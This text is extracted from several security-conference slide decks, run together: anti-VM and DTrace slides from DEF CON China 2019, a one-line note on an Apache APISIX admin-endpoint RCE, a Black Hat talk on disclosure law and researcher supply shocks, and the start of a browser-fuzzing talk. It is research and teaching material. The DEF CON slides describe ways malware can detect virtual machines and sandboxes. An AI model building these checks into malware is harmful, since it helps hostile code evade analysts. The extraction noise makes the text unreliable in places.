ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 111" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 112" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  It is possible to use a different type of provider named “fbt” (function boundary tracing), which tracks the sequence of system calls being executed through the NTFS in the kernel. ü  The “fbt” provider only it is available when there is kernel debugger attached to the Windows 10. DEF"CON"CHINA"1.0"(2019)" 113" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 114" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 115" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 116" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 117" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" Traceext.sys:!exposes!functionality! used!by!DTrace!to!tracing.! DEF"CON"CHINA"1.0"(2019)" 118" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" "ANTI-VM DEF"CON"CHINA"1.0"(2019)" 119" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 120" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  It is extremely easy writing malware samples using anti-VM techniques designed to detect VMWare (checking I/O port communication), VirtualBox, Parallels, SeaBIOS emulator, QEMU emulator, Bochs emulator, QEMU emulator, Hyper-V, Innotek VirtualBox, sandboxes (Cuckoo). ü  Furthermore, there are dozens of techniques that could be used for detection Vmware sandboxes: ü  Examing the registry (OpenSubKey( ) function) to try to find entries related to tools installed in the guest (HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\VirtualMachine\Guest\Para meters). ü  Using WMI to query the Win32_BIOS management class to interact with attributes from the physical machine. ü  We have already know every single anti-VM technique around the world and all of them are documented. ü  Most current techniques use WMI and it is quick to write a C# program using them. DEF"CON"CHINA"1.0"(2019)" 121" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 122" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  The code from last slide does not have any news: ü  The ManagementClass class represents a Common Information Model (CIM) management class. ü  Win32_BIOS WMI class represents the attributes of BIOS and members of this class enable you to access WMI data using a specific WMI class path. ü  GetInstances( ) acquires a collection of all instances of the class. ü  GetEnumerator( ) returns the enumerator (IEnumerator) for the collection. ü  IEnumerator.Current( ) returns the same object. ü  IEnumerator.MoveNext( ) advances the enumerator to the next element of the collection. q  Physical host: C:\> Test_VM.exe Attributes: Version: DELL - 6222004 SerialNumber: D5965S1 OperatingSystem: 0 Manufacturer: Dell Inc. q  Guest virtual machine: E:\> Test_VM.exe Attributes: Version: LENOVO - 6040000 SerialNumber: VMware-56 4d 8d c3 a7 c7 e5 2b-39 d6 cc 93 bf 90 28 2d OperatingSystem: 0 Manufacturer: Phoenix Technologies LTD DEF"CON"CHINA"1.0"(2019)" 123" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 124" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" Double-click"the"result...."" DEF"CON"CHINA"1.0"(2019)" 125" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 126" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 127" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  There is not support for acquiring temperature data in virtual machines. ü  Therefore, malwares are able to know whether they are running on virtual machines or not. J ü  Physical Host: C:\> VM_Test2.exe Status: OK Thus, the program is running in a physical host! ü  Virtual Machine: C:\> VM_Test2.exe This program IS RUNNING in a virtual machine! DEF"CON"CHINA"1.0"(2019)" 128" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" q FEW CONCLUSIONS: ü Before trying to unpack modern protectors, it is really necessary to understand the common anti-reversing techniques. ü MIASM, METASM and TRITON are amazing tools to handle and deobfuscate complex codes. ü Emulation is an possible alternative to understand small and complicated piece of codes. ü DTrace has done an excellent job on Solaris and it may be an excellent tool on Windows operating system. Stay tuned. J ü Although excellent researches have found sophisticated anti-vm techniques, many other simples and smart ones exist. Take care. DEF"CON"CHINA"1.0"(2019)" 129" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" v Acknowledgments to: ü DEF CON’s staff, who have been always very kind with me. ü You, who reserved some time attend my talk. ü Remember: the best of this life are people. J DEF"CON"CHINA"1.0"(2019)" 130" ALEXANDRE"BORGES"–"IT"IS"NOT"ALLOWED"TO""COPY"OR"REPRODUCE"THIS"SLIDE.""" ü  Malware and Security Researcher. " ü  Speaker at DEFCON USA 2018 ü  Speaker at HITB2019 Amsterdam ü  Speaker at CONFidence Conf. 2019 ü  Speaker at BSIDES 2018/2017/2016 ü  Speaker at H2HC 2016/2015 ü  Speaker at BHACK 2018 ü  Consultant, Instructor and Speaker on Malware Analysis, Memory Analysis, Digital Forensics and Rookits. " ü  Reviewer member of the The Journal of Digital Forensics, Security and Law." ü  Referee on Digital THANK!YOU!FOR! ATTENDING!MY!TALK.!J! 謝謝! ! Ø  Twitter:!! ! @ale_sp_brazil! @blackstormsecbr! ! ! Ø  Website:!http://blackstormsecurity.com! Ø  LinkedIn:!http://www.linkedin.com/in/ aleborges! Ø  E-mail:! [email protected]!
pdf
0x01 /apisix/admin/migrate/export /apisix/admin/migrate/import RCE Author: TheKingOfDuck@JJ Group 1 https://github.com/apache/apisix-docker 1 0x02 ​ 0x03
pdf
#BHUSA @BlackHatEvents Dragon Tails: Preserving Supply- Side Vulnerability Disclosure Stewart Scott, Trey Herr Sara Ann Brackett, Yumi Gambrill, Emmeline Nettles #BHUSA @BlackHatEvents Information Classification: General Supply-Side Vulnerability Research ▪ What are sources of security? ▪ Global bug-bounty market size projected to reach $5.5 billion by 2027 ▪ Manifests the ‘many eyes’ theory of security ▪ Increasing adoption by government agencies and departments ▪ Proliferation of bug-bounty platform companies ▪ Governed by Coordinated Vulnerability Disclosure processes (CVD) 2 #BHUSA @BlackHatEvents Information Classification: General Supply-Side Vulnerability Research Anonymized bug-bounty platform revenue streams by country, from Congressional Testimony—Dakota Cary, February 17, 2022 3 #BHUSA @BlackHatEvents Information Classification: General Supply-Side Vulnerability Research Can bad policy ‘break’ this ecosystem, and can we detect those supply shocks? 4 #BHUSA @BlackHatEvents Information Classification: General Good CVD in Log4Shell CMU SEI CERT CC -The CERT Guide to Coordinated Vulnerability Disclosure 5 #BHUSA @BlackHatEvents Information Classification: General Good CVD in Log4Shell  November 24, 2021: Alibaba Cloud researcher discloses log4shell (l4s) to ASF privately.  December 8,* 2021: Researcher follows up with ASF with updates.  December 10, 2021: Patching and public announcements of l4s begin. 6 #BHUSA @BlackHatEvents Information Classification: General Good CVD in Log4Shell  November 24, 2021: Alibaba Cloud researcher discloses log4shell (l4s) to ASF privately.  December 8,* 2021: Researcher follows up with ASF with updates.  December 10, 2021: Patching and public announcements of l4s begin. *December 8 per Bloomberg, December 9 per the Wall Street Journal 7 #BHUSA @BlackHatEvents Information Classification: General Good CVD in Log4Shell  November 24, 2021: Alibaba Cloud researcher discloses log4shell (l4s) to ASF privately.  December 8,* 2021: Researcher follows up with ASF with updates.  December 10, 2021: Patching and public announcements of l4s begin. 8 #BHUSA @BlackHatEvents Information Classification: General Not So Good CVD December 22, 2021: China’s MIIT suspends Alibaba Cloud from an information- sharing partnership for failing to disclose l4s to the MIIT prior to DEC9, when they received notice from a 3rd party. • Per the Wall Street Journal and an anonymous source: suspension was a consequence of breach of contract in the info-sharing partnership. • Per other reporting:* suspension was a consequence of violating The Regulations on Management of Security Vulnerabilities (RMSV). 9 #BHUSA @BlackHatEvents Information Classification: General • Specific enforcement mechanism aside, failure to disclose earlier to the MIIT was the cause of the suspension, and the letter of the RMSV was breached. The RMSV 10 #BHUSA @BlackHatEvents Information Classification: General Supply-Side Vulnerability Research 11 Very little reporting on the RMSV when it was passed or took effect, big questions about application to multinational companies. • Only known (possible) RMSV enforcement is on Alibaba Cloud for l4s. • Most coverage concerned with what happens to vulnerabilities after the MIIT gets early access. • Not the focus of this research. Convenient case study when searching for supply-shocks to international vulnerability research • Potential for a chilling effect on China’s research contributions: • Hesitation to report vulnerabilities until more legal clarity? • Internal policy changes regarding accepting vulnerability reports from China? • Clear before and after dates • Large potential impact: • China is a significant contributor to international vulnerability research #BHUSA @BlackHatEvents Information Classification: General Other CVD Practices and Reporting Laws 12 A lack of clear legal protections for researchers has caused problems globally: • German researcher (almost) charged for reporting flaws in campaign app • Missouri tried to charge a researcher for reading HTML Some good developments here recently: • DOJ declining to prosecute good-faith research • ENISA push for member governments to develop CVD policies • CISA BOD for agencies to develop reporting systems #BHUSA @BlackHatEvents Information Classification: General Research Question 13 Did the RMSV cause a supply shock in China’s research contributions? • If so, did that shock trickle into the overall supply of research contributions? • Do other shocks occur correlated to unidentified events? #BHUSA @BlackHatEvents Information Classification: General Research Question 14 Added insights: • Better look at external contributions to vulnerability reporting • Possible to look at density-distribution of contributors as well Datasets: Acknowledgements from different CVE and security update databases from Microsoft, Apple, F5, VMWare, and Red Hat • Looking across vendors to try to tease out product and ecosystem trends • Get variety of internal practices for crediting explicitly or anonymously and for organizing data (by CVE, by update batch, by vulnerability batch, etc.) • Open source and proprietary codebases #BHUSA @BlackHatEvents Information Classification: General Key Dates 15 RMSV Timeline: July 2020: Draft law containing RMSV MIIT reporting requirement first reported as known to industry and government in China #BHUSA @BlackHatEvents Information Classification: General Key Dates 16 RMSV Timeline: July 2020: Draft law containing RMSV MIIT reporting requirement first reported as known to industry and government in China July 2021: RMSV passed #BHUSA @BlackHatEvents Information Classification: General Key Dates 17 RMSV Timeline: July 2020: Draft law containing RMSV MIIT reporting requirement first reported as known to industry and government in China July 2021: RMSV passed September 2021: RMSV takes effect #BHUSA @BlackHatEvents Information Classification: General Key Dates 18 RMSV Timeline: July 2020: Draft law containing RMSV MIIT reporting requirement first reported as known to industry and government in China July 2021: RMSV passed September 2021: RMSV takes effect December 2021: RMSV enforced publicly for first time (maybe) #BHUSA @BlackHatEvents Information Classification: General Key Dates 19 RMSV Timeline: July 2020: Draft law containing RMSV MIIT reporting requirement first reported as known to industry and government in China July 2021: RMSV passed September 2021: RMSV takes effect December 2021: RMSV enforced publicly for first time (maybe) Some confounding events: Summer 2020: Flurry of cyber regulations in China Summer 2020: US blacklisting of companies in China accelerates Summer 2021: More blacklisting #BHUSA @BlackHatEvents Information Classification: General Methods 20 #BHUSA @BlackHatEvents Information Classification: General Methods 21 #BHUSA @BlackHatEvents Information Classification: General Methods 22 Some quirks: Can’t compare between datasets directly because of overlap in CVEs. Apple security updates often predate listed dates for CVEs found on NVD, Tenable, etc., and are organized by software update. Unclear where credits are all for vulnerability discovery or demonstration of vulnerability application of a specific product. Batching by month adds noise. Not clear how the delay between private reporting and public patching and acknowledgement plays out. #BHUSA @BlackHatEvents Information Classification: General Datasets 23 Microsoft: n = 4355 Apple: n = 14740 VMWare: n = 1363 F5: n = 335 Red Hat: n = 3307 #BHUSA @BlackHatEvents Information Classification: General Microsoft Portions 24 0.00% 20.00% 40.00% 60.00% 80.00% 100.00% 120.00% 2016-04 2016-05 2016-06 2016-07 2016-08 2016-09 2016-10 2016-11 2016-12 2017-01 2017-03 2017-04 2017-05 2017-06 2017-07 2017-08 2017-09 2017-10 2017-11 2017-12 2018-01 2018-02 2018-03 2018-04 2018-05 2018-06 2018-07 2018-08 2018-09 2018-10 2018-11 2018-12 2019-01 2019-02 2019-03 2019-04 2019-05 2019-06 2019-07 2019-08 2019-09 2019-10 2019-11 2019-12 2020-01 2020-02 2020-03 2020-04 2020-05 2020-06 2020-07 2020-08 2020-09 2020-10 2020-11 2020-12 2021-01 2021-02 2021-03 2021-04 2021-05 2021-06 2021-07 2021-08 2021-09 2021-10 2021-11 2021-12 2022-01 2022-02 Microsoft Contribution Shares US % China % Year-Month Portion of Contributions #BHUSA @BlackHatEvents Information Classification: General Microsoft Portions 25 0.00% 20.00% 40.00% 60.00% 80.00% 100.00% 120.00% 2016-04 2016-05 2016-06 2016-07 2016-08 2016-09 2016-10 2016-11 2016-12 2017-01 2017-03 2017-04 2017-05 2017-06 2017-07 2017-08 2017-09 2017-10 2017-11 2017-12 2018-01 2018-02 2018-03 2018-04 2018-05 2018-06 2018-07 2018-08 2018-09 2018-10 2018-11 2018-12 2019-01 2019-02 2019-03 2019-04 2019-05 2019-06 2019-07 2019-08 2019-09 2019-10 2019-11 2019-12 2020-01 2020-02 2020-03 2020-04 2020-05 2020-06 2020-07 2020-08 2020-09 2020-10 2020-11 2020-12 2021-01 2021-02 2021-03 2021-04 2021-05 2021-06 2021-07 2021-08 2021-09 2021-10 2021-11 2021-12 2022-01 2022-02 Microsoft Contribution Shares US % China % Year-Month Portion of Contributions 0.00% 20.00% 40.00% 60.00% 80.00% 100.00% 120.00% 2016-04 2016-05 2016-06 2016-07 2016-08 2016-09 2016-10 2016-11 2016-12 2017-01 2017-03 2017-04 2017-05 2017-06 2017-07 2017-08 2017-09 2017-10 2017-11 2017-12 2018-01 2018-02 2018-03 2018-04 2018-05 2018-06 2018-07 2018-08 2018-09 2018-10 2018-11 2018-12 2019-01 2019-02 2019-03 2019-04 2019-05 2019-06 2019-07 2019-08 2019-09 2019-10 2019-11 2019-12 2020-01 2020-02 2020-03 2020-04 2020-05 2020-06 2020-07 2020-08 2020-09 2020-10 2020-11 2020-12 2021-01 2021-02 2021-03 2021-04 2021-05 2021-06 2021-07 2021-08 2021-09 2021-10 2021-11 2021-12 2022-01 2022-02 Microsoft Contribution Shares US % China % Year-Month Portion of Contributions #BHUSA @BlackHatEvents Information Classification: General Microsoft Portions 26 0.00% 20.00% 40.00% 60.00% 80.00% 100.00% 120.00% 2016-04 2016-05 2016-06 2016-07 2016-08 2016-09 2016-10 2016-11 2016-12 2017-01 2017-03 2017-04 2017-05 2017-06 2017-07 2017-08 2017-09 2017-10 2017-11 2017-12 2018-01 2018-02 2018-03 2018-04 2018-05 2018-06 2018-07 2018-08 2018-09 2018-10 2018-11 2018-12 2019-01 2019-02 2019-03 2019-04 2019-05 2019-06 2019-07 2019-08 2019-09 2019-10 2019-11 2019-12 2020-01 2020-02 2020-03 2020-04 2020-05 2020-06 2020-07 2020-08 2020-09 2020-10 2020-11 2020-12 2021-01 2021-02 2021-03 2021-04 2021-05 2021-06 2021-07 2021-08 2021-09 2021-10 2021-11 2021-12 2022-01 2022-02 Microsoft Contribution Shares US % China % Year-Month Portion of Contributions #BHUSA @BlackHatEvents Information Classification: General Microsoft Counts 27 0 20 40 60 80 100 120 140 2016-04 2016-05 2016-06 2016-07 2016-08 2016-09 2016-10 2016-11 2016-12 2017-01 2017-03 2017-04 2017-05 2017-06 2017-07 2017-08 2017-09 2017-10 2017-11 2017-12 2018-01 2018-02 2018-03 2018-04 2018-05 2018-06 2018-07 2018-08 2018-09 2018-10 2018-11 2018-12 2019-01 2019-02 2019-03 2019-04 2019-05 2019-06 2019-07 2019-08 2019-09 2019-10 2019-11 2019-12 2020-01 2020-02 2020-03 2020-04 2020-05 2020-06 2020-07 2020-08 2020-09 2020-10 2020-11 2020-12 2021-01 2021-02 2021-03 2021-04 2021-05 2021-06 2021-07 2021-08 2021-09 2021-10 2021-11 2021-12 2022-01 2022-02 Microsoft Contribution Counts Total US # China # Contributions Year-Month #BHUSA @BlackHatEvents Information Classification: General Microsoft Counts 28 0 20 40 60 80 100 120 140 2016-04 2016-05 2016-06 2016-07 2016-08 2016-09 2016-10 2016-11 2016-12 2017-01 2017-03 2017-04 2017-05 2017-06 2017-07 2017-08 2017-09 2017-10 2017-11 2017-12 2018-01 2018-02 2018-03 2018-04 2018-05 2018-06 2018-07 2018-08 2018-09 2018-10 2018-11 2018-12 2019-01 2019-02 2019-03 2019-04 2019-05 2019-06 2019-07 2019-08 2019-09 2019-10 2019-11 2019-12 2020-01 2020-02 2020-03 2020-04 2020-05 2020-06 2020-07 2020-08 2020-09 2020-10 2020-11 2020-12 2021-01 2021-02 2021-03 2021-04 2021-05 2021-06 2021-07 2021-08 2021-09 2021-10 2021-11 2021-12 2022-01 2022-02 Microsoft Contribution Counts Total US # China # Contributions Year-Month 28 0 20 40 60 80 100 120 140 2016-04 2016-05 2016-06 2016-07 2016-08 2016-09 2016-10 2016-11 2016-12 2017-01 2017-03 2017-04 2017-05 2017-06 2017-07 2017-08 2017-09 2017-10 2017-11 2017-12 2018-01 2018-02 2018-03 2018-04 2018-05 2018-06 2018-07 2018-08 2018-09 2018-10 2018-11 2018-12 2019-01 2019-02 2019-03 2019-04 2019-05 2019-06 2019-07 2019-08 2019-09 2019-10 2019-11 2019-12 2020-01 2020-02 2020-03 2020-04 2020-05 2020-06 2020-07 2020-08 2020-09 2020-10 2020-11 2020-12 2021-01 2021-02 2021-03 2021-04 2021-05 2021-06 2021-07 2021-08 2021-09 2021-10 2021-11 2021-12 2022-01 2022-02 Microsoft Contribution Counts Total US # China # Contributions Year-Month #BHUSA @BlackHatEvents Information Classification: General Microsoft Counts 29 0 20 40 60 80 100 120 140 2016-04 2016-05 2016-06 2016-07 2016-08 2016-09 2016-10 2016-11 2016-12 2017-01 2017-03 2017-04 2017-05 2017-06 2017-07 2017-08 2017-09 2017-10 2017-11 2017-12 2018-01 2018-02 2018-03 2018-04 2018-05 2018-06 2018-07 2018-08 2018-09 2018-10 2018-11 2018-12 2019-01 2019-02 2019-03 2019-04 2019-05 2019-06 2019-07 2019-08 2019-09 2019-10 2019-11 2019-12 2020-01 2020-02 2020-03 2020-04 2020-05 2020-06 2020-07 2020-08 2020-09 2020-10 2020-11 2020-12 2021-01 2021-02 2021-03 2021-04 2021-05 2021-06 2021-07 2021-08 2021-09 2021-10 2021-11 2021-12 2022-01 2022-02 Microsoft Contribution Counts Total US # China # Contributions Year-Month #BHUSA @BlackHatEvents Information Classification: General Red Hat Portions 30 0.0% 20.0% 40.0% 60.0% 80.0% 100.0% 120.0% 1996-07 2003-12 2004-02 2004-06 2005-03 2005-07 2006-01 2006-08 2006-10 2006-12 2007-03 2007-05 2007-07 2009-01 2010-04 2011-04 2011-08 2012-06 2012-10 2012-12 2013-05 2013-07 2013-11 2014-02 2014-04 2014-06 2014-10 2015-02 2015-04 2015-06 2015-08 2015-10 2015-12 2016-02 2016-04 2016-06 2016-08 2016-10 2016-12 2017-02 2017-04 2017-06 2017-08 2017-10 2017-12 2018-02 2018-04 2018-06 2018-08 2018-10 2018-12 2019-02 2019-04 2019-06 2019-08 2019-10 2019-12 2020-02 2020-04 2020-06 2020-08 2020-10 2020-12 2021-02 2021-04 2021-06 2021-08 2021-10 2021-12 2022-02 2022-04 2022-06 Red Hat Contribution Shares US % China % Portion of Contributions Year-Month #BHUSA @BlackHatEvents Information Classification: General Red Hat Portions 31 0.0% 20.0% 40.0% 60.0% 80.0% 100.0% 120.0% 1996-07 2003-12 2004-02 2004-06 2005-03 2005-07 2006-01 2006-08 2006-10 2006-12 2007-03 2007-05 2007-07 2009-01 2010-04 2011-04 2011-08 2012-06 2012-10 2012-12 2013-05 2013-07 2013-11 2014-02 2014-04 2014-06 2014-10 2015-02 2015-04 2015-06 2015-08 2015-10 2015-12 2016-02 2016-04 2016-06 2016-08 2016-10 2016-12 2017-02 2017-04 2017-06 2017-08 2017-10 2017-12 2018-02 2018-04 2018-06 2018-08 2018-10 2018-12 2019-02 2019-04 2019-06 2019-08 2019-10 2019-12 2020-02 2020-04 2020-06 2020-08 2020-10 2020-12 2021-02 2021-04 2021-06 2021-08 2021-10 2021-12 2022-02 2022-04 2022-06 Red Hat Contribution Shares US % China % Portion of Contributions Year-Month #BHUSA @BlackHatEvents Information Classification: General Red Hat Portions 32 0.0% 20.0% 40.0% 60.0% 80.0% 100.0% 120.0% 1996-07 2003-12 2004-02 2004-06 2005-03 2005-07 2006-01 2006-08 2006-10 2006-12 2007-03 2007-05 2007-07 2009-01 2010-04 2011-04 2011-08 2012-06 2012-10 2012-12 2013-05 2013-07 2013-11 2014-02 2014-04 2014-06 2014-10 2015-02 2015-04 2015-06 2015-08 2015-10 2015-12 2016-02 2016-04 2016-06 2016-08 2016-10 2016-12 2017-02 2017-04 2017-06 2017-08 2017-10 2017-12 2018-02 2018-04 2018-06 2018-08 2018-10 2018-12 2019-02 2019-04 2019-06 2019-08 2019-10 2019-12 2020-02 2020-04 2020-06 2020-08 2020-10 2020-12 2021-02 2021-04 2021-06 2021-08 2021-10 2021-12 2022-02 2022-04 2022-06 Red Hat Contribution Shares US % China % Portion of Contributions Year-Month #BHUSA @BlackHatEvents Information Classification: General Red Hat Counts 33 0 20 40 60 80 100 120 140 1996-07 2003-12 2004-02 2004-06 2005-03 2005-07 2006-01 2006-08 2006-10 2006-12 2007-03 2007-05 2007-07 2009-01 2010-04 2011-04 2011-08 2012-06 2012-10 2012-12 2013-05 2013-07 2013-11 2014-02 2014-04 2014-06 2014-10 2015-02 2015-04 2015-06 2015-08 2015-10 2015-12 2016-02 2016-04 2016-06 2016-08 2016-10 2016-12 2017-02 2017-04 2017-06 2017-08 2017-10 2017-12 2018-02 2018-04 2018-06 2018-08 2018-10 2018-12 2019-02 2019-04 2019-06 2019-08 2019-10 2019-12 2020-02 2020-04 2020-06 2020-08 2020-10 2020-12 2021-02 2021-04 2021-06 2021-08 2021-10 2021-12 2022-02 2022-04 2022-06 Red Hat Contribution Counts Total US # China # Year-Month Contributions #BHUSA @BlackHatEvents Information Classification: General Red Hat Counts 34 0 20 40 60 80 100 120 140 1996-07 2003-12 2004-02 2004-06 2005-03 2005-07 2006-01 2006-08 2006-10 2006-12 2007-03 2007-05 2007-07 2009-01 2010-04 2011-04 2011-08 2012-06 2012-10 2012-12 2013-05 2013-07 2013-11 2014-02 2014-04 2014-06 2014-10 2015-02 2015-04 2015-06 2015-08 2015-10 2015-12 2016-02 2016-04 2016-06 2016-08 2016-10 2016-12 2017-02 2017-04 2017-06 2017-08 2017-10 2017-12 2018-02 2018-04 2018-06 2018-08 2018-10 2018-12 2019-02 2019-04 2019-06 2019-08 2019-10 2019-12 2020-02 2020-04 2020-06 2020-08 2020-10 2020-12 2021-02 2021-04 2021-06 2021-08 2021-10 2021-12 2022-02 2022-04 2022-06 Red Hat Contribution Counts Total US # China # Year-Month Contributions #BHUSA @BlackHatEvents Information Classification: General Red Hat Counts 35 0 20 40 60 80 100 120 140 1996-07 2003-12 2004-02 2004-06 2005-03 2005-07 2006-01 2006-08 2006-10 2006-12 2007-03 2007-05 2007-07 2009-01 2010-04 2011-04 2011-08 2012-06 2012-10 2012-12 2013-05 2013-07 2013-11 2014-02 2014-04 2014-06 2014-10 2015-02 2015-04 2015-06 2015-08 2015-10 2015-12 2016-02 2016-04 2016-06 2016-08 2016-10 2016-12 2017-02 2017-04 2017-06 2017-08 2017-10 2017-12 2018-02 2018-04 2018-06 2018-08 2018-10 2018-12 2019-02 2019-04 2019-06 2019-08 2019-10 2019-12 2020-02 2020-04 2020-06 2020-08 2020-10 2020-12 2021-02 2021-04 2021-06 2021-08 2021-10 2021-12 2022-02 2022-04 2022-06 Red Hat Contribution Counts Total US # China # Year-Month Contributions #BHUSA @BlackHatEvents Information Classification: General Apple Portions 36 0.00% 20.00% 40.00% 60.00% 80.00% 100.00% 120.00% 2006-05 2006-09 2007-05 2007-09 2007-12 2008-03 2008-05 2008-07 2008-10 2008-12 2009-02 2009-05 2009-07 2009-09 2009-12 2010-02 2010-04 2010-06 2010-08 2010-10 2010-12 2011-03 2011-06 2011-08 2011-11 2012-03 2012-05 2012-07 2012-09 2012-11 2013-02 2013-04 2013-06 2013-08 2013-10 2013-12 2014-02 2014-04 2014-06 2014-09 2014-11 2015-01 2015-04 2015-06 2015-09 2015-12 2016-02 2016-05 2016-07 2016-09 2016-12 2017-02 2017-04 2017-07 2017-09 2017-11 2018-01 2018-03 2018-05 2018-07 2018-10 2019-01 2019-03 2019-05 2019-07 2019-09 2019-12 2020-03 2020-05 2020-07 2020-09 2020-11 2021-01 2021-03 2021-05 2021-07 2021-09 2021-11 2022-01 Apple Contribution Shares US % China % Year-Month Portion of Contributions #BHUSA @BlackHatEvents Information Classification: General Apple Counts 37 0 100 200 300 400 500 600 2006-05 2006-09 2007-05 2007-09 2007-12 2008-03 2008-05 2008-07 2008-10 2008-12 2009-02 2009-05 2009-07 2009-09 2009-12 2010-02 2010-04 2010-06 2010-08 2010-10 2010-12 2011-03 2011-06 2011-08 2011-11 2012-03 2012-05 2012-07 2012-09 2012-11 2013-02 2013-04 2013-06 2013-08 2013-10 2013-12 2014-02 2014-04 2014-06 2014-09 2014-11 2015-01 2015-04 2015-06 2015-09 2015-12 2016-02 2016-05 2016-07 2016-09 2016-12 2017-02 2017-04 2017-07 2017-09 2017-11 2018-01 2018-03 2018-05 2018-07 2018-10 2019-01 2019-03 2019-05 2019-07 2019-09 2019-12 2020-03 2020-05 2020-07 2020-09 2020-11 2021-01 2021-03 2021-05 2021-07 2021-09 2021-11 2022-01 Apple Contribution Counts Total US # China # Year-Month Contributions #BHUSA @BlackHatEvents Information Classification: General Takeaways 38 1. No clear, universal supply shock from the RMSV in China, though maybe a local one in the Microsoft data. 2. Something that looks like a supply shock happened in the Red Hat data but not at a time with a clear correlated event. 3. Contribution trends differ greatly among company, code, and product environments. 4. A supply shock in a specific legal context doesn’t necessarily trickle into the whole ecosystem, though loss of growth is difficult to assess. 5. Companies and government can better protect research communities and insure against shocks—can’t assume their absence. #BHUSA @BlackHatEvents Information Classification: General Recs 39 Opportunity for a policymaking reset: invest in research community to increase its resilience • Clear protections in and processes for CVD and relevant laws • Lower barriers to entry for researchers • Emphasize process over provenance Better understand the ecosystem • Better identify and protect sources of security • Clearer communication of needs and priorities between policymakers and practitioners #BHUSA @BlackHatEvents Information Classification: General • Consider vulnerability research as a source of security, a supply and a community to be invested in and protected. • Is the research community vulnerable to supply shocks? Probably, but the mechanisms are still unclear, especially over long timeframes. • There is some limited evidence for local supply shocks, though they did not seem to spread from one set of researcher entities to the larger ecosystem or even between code and product environments. • There are ways to invest in the research community and build in resilience. Fragmenting it is also possible and would hurt overall security. Summary 40 #BHUSA @BlackHatEvents Information Classification: General Thank you! 41
pdf
Smashing  The  Browser: From  Vulnerability  Discovery  To  Exploit Chen  Zhang  (@demi6od) NSFOCUS  Security  Team [email protected] h>ps://github.com/demi6od Date:  2014  August  19th Agenda •  Who  am  I •  Stage1  -­‐  Browser  Fuzzing  Technology •  Stage  2  -­‐  Advance  Browser  ExploitaTon  Techniques •  Stage  3  -­‐  IE  11  0day  Exploit  Development •  Q&A Who  am  I •  Shanghai  Jiao  Tong  University –  InformaTon  Security:  4  +  3  years •  NSFOCUS  Security  Team –  Security  Researcher:  2+  years •  Research  Interests –  Browser  security –  Vulnerability  analysis,  discovery  and  exploit –  APT/0  day  detecTon  R&D –  Li>le  science Who  am  I •  Shanghai  Jiao  Tong  University –  InformaTon  Security:  4  +  3  years •  NSFOCUS  Security  Team –  Security  Researcher:  2+  years •  Research  Interests –  Browser  security –  Vulnerability  analysis,  discovery  and  exploit –  APT/0  day  detecTon  R&D –  Li>le  science Browser  Fuzzing  IntroducTon Vulnerability  discovery: •  White  box –  Code  review •  MWR  labs –  Chrome  type  confusion •  Pinkie  Pie –  2012  Pwnium –  2013  Mobile  Pwn2Own –  Automated  code  review •  ForTfy •  RATS •  Black  box –  Fuzzing Browser  Fuzzing  IntroducTon Two  fuzzing  technology •  StaTc  fuzzing –  MutaTon •  Document •  MulTmedia •  bf3 –  GeneraTon •  Browser –  Achilles'  heel •  Testcase  generaTng Browser  Fuzzing  IntroducTon •  Dynamic  fuzzing –  Fuzzing  framework •  Grinder –  Fuzzer •  CrossFuzz •  ndujaFuzz •  NodeFuzz •  X-­‐Fuzzer •  jsFunFuzz –  Achilles'  heel •  Testcase  reconstrucTng •  Heisenberg  principle DynamicFuzz.js: switch  (rand(2))  {  case  0:  //  Fuzz  procedure  1;  break;  case  1:  //  Fuzz  procedure  2;  break; } StaLcFuzz1.js: //  Fuzz  procedure  1; StaLcFuzz2.js: //  Fuzz  procedure  2; Browser  Fuzzing  IntroducTon Google  ClusterFuzz •  AddressSaniTzer – Clang – LLVM – Linux  and  Mac •  Tons  of  test  cases Browser  Fuzzing  IntroducTon •  How  to  write  fuzzer? –  Collect  PoCs –  SpecificaTon •  W3C •  MDN •  MSDN –  DefiniTve  guides •  Javascript •  HTML •  CSS –  Novel  ideas StateFuzzer My  Fuzzer  Framework •  IE  11  +  Google  Chrome •  Code  base: –  Javascript •  Core  and  uTliTes:  4000+ •  DicTonary:  2000+ –  Python •  Automated  Grinder  compaTble •  Automated  remove  duplicate  and  null  pointer  deference •  Automated  complete  +  minimize –  Pydbg –  D&C  +  BFS –  O(log(n))  ~  O(n),  O(log(n)) Strategy •  Data  vs  RelaTonship •  Data  Type  Oriented  vs  Logic  Oriented •  Code  path  coverage  -­‐>  Browser  states  coverage –  DOM  Tree  states –  Render  Forest  states –  Layout  states –  Event  Handle  states –  MulTple  pages  states –  … Aim •  Aim  -­‐>  UAF •  Construct  -­‐>  